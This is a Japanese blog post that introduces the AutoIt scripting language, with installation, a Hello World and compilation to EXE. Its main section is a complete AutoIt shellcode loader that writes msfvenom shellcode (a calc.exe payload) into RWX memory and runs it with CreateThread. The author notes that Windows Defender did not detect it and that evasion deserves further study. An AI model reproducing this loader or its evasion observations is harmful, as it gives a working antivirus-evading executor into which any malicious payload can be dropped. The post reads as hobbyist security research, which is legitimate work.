![見出し画像](https://assets.st-note.com/production/uploads/images/172992034/rectangle_large_type_2_05d54fa642d72ac2ffdb54e01d46ca22.jpg?width=1200)
#167 AutoIt
AutoItは、Windowsの自動化に使われるスクリプト言語です。Basicがベースとなっていて、GUIの操作が手軽にできるのが特徴です。スクリプト言語ですが、EXEにコンパイルしたりUPXで圧縮したり、いろいろできるようです。あんまり知らない言語でしたが、マルウェアの開発にも盛んに使われているとのことで、おもしろそうなのでちょっと触ってみました。
インストール
まずはスクリプトエンジンをインストールします。ついでに、専用エディタ(SciTE)もダウンロードします。
コンパイル
とりあえず、Hello Worldします。
SciTEは、さすが専用エディタなだけあって、AutoIt開発に便利そうな感じです。
![](https://assets.st-note.com/img/1738584862-aXCEMzrmpy6FPlkZ15QnSheH.png?width=1200)
hello.au3
MsgBox(0, 'test', 'Hello World')
Tools > Compileをクリックすると、コンパイル設定の画面が開きます。
![](https://assets.st-note.com/img/1738585541-6JP5tmn87e4rafbHd1cYO2uD.png?width=1200)
適当に設定して、コンパイルすると、hello.exeという名前で実行ファイルが生成されました。実行すると、メッセージボックスが表示されます。
![](https://assets.st-note.com/img/1738585755-lPcH170hzqrA2Ysn6xGO8BFp.png)
Process Injection
これだけではつまらないので、Process Injectionもやってみました。Documentは意外と充実してますが、あまり使われていない(?)せいか、ほかの言語ほどサンプルコードは多くありません。WinAPIを使うような場合は、エラーもリッチとは言えないので、けっこう苦戦しました。が、なんとかShellcodeを実行するスクリプトを完成させました。
inject.au3
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Compression=0
#AutoIt3Wrapper_UseX64=y
#AutoIt3Wrapper_Change2CUI=y
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <Process.au3>
#include <Memory.au3>
#include <WinAPI.au3>
Inject()
Func Inject()
;msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f hex
$shellcode = "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbe01d2a0a41baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500"
$buf = DllStructCreate("byte["&2048&"]")
DllStructSetData($buf, 1, Binary("0x"&$shellcode))
$pid = _WinAPI_GetCurrentProcessID()
$hProcess = _WinAPI_OpenProcess(0xffff, 0, $pid, True)
ConsoleWrite("[i] GetCurrentProcessID: " & $pid & @CRLF)
$lpAddress = _MemVirtualAlloc(0, 2048, 0x3000, 0x40)
ConsoleWrite("[i] VirtualAlloc: " & $lpAddress & @CRLF)
Local $bytes_written
_WinAPI_WriteProcessMemory($hProcess, $lpAddress, DllStructGetPtr($buf), 2048, $bytes_written)
ConsoleWrite("[i] WriteProcessMemory: " & $bytes_written & @CRLF)
DllCall("kernel32.dll", "BOOL", "VirtualProtect", "ptr", $lpAddress, "int", 2048, "dword", 0x40, "dword", null)
ConsoleWrite("[i] VirtualProtect" & @CRLF)
DllCall("kernel32.dll", "int", "CreateThread", "ptr", 0, "int", 0, "ptr", $lpAddress, "ptr", 0, "int", 0, "dword", 0)
ConsoleWrite("[i] CreateThread" & @CRLF)
ConsoleWrite("[+] Done" & @CRLF)
MsgBox(0, "inject", "Done")
EndFunc
コンパイルして実行すると、calc.exeが立ち上がります。ShellcodeはMsfvenomで生成したものです。
![](https://assets.st-note.com/img/1738595853-V2CM7gEq4WTNl95XvtOFIuf8.png?width=1200)
C#やC++で同じようなことをするとDefenderにすぐブロックされますが、AutoIt版は検知されませんでした。もしかして、回避性能高い???
まとめ
AutoItでShellcodeを実行するスクリプトを作りました。慣れは必要ですが、他の言語と同等のことはできそうです。今回、Defenderには全く検知されませんでしたが、そもそもそんなに使われていないからか、検知がされにくいのかもしれません。
一方で、公式Wikiでは、AutoIt製の実行ファイルがマルウェアと誤判定されるケースについて記載があります。そして、公式の回避策も書いてある…
研究の余地がありそうです。
EOF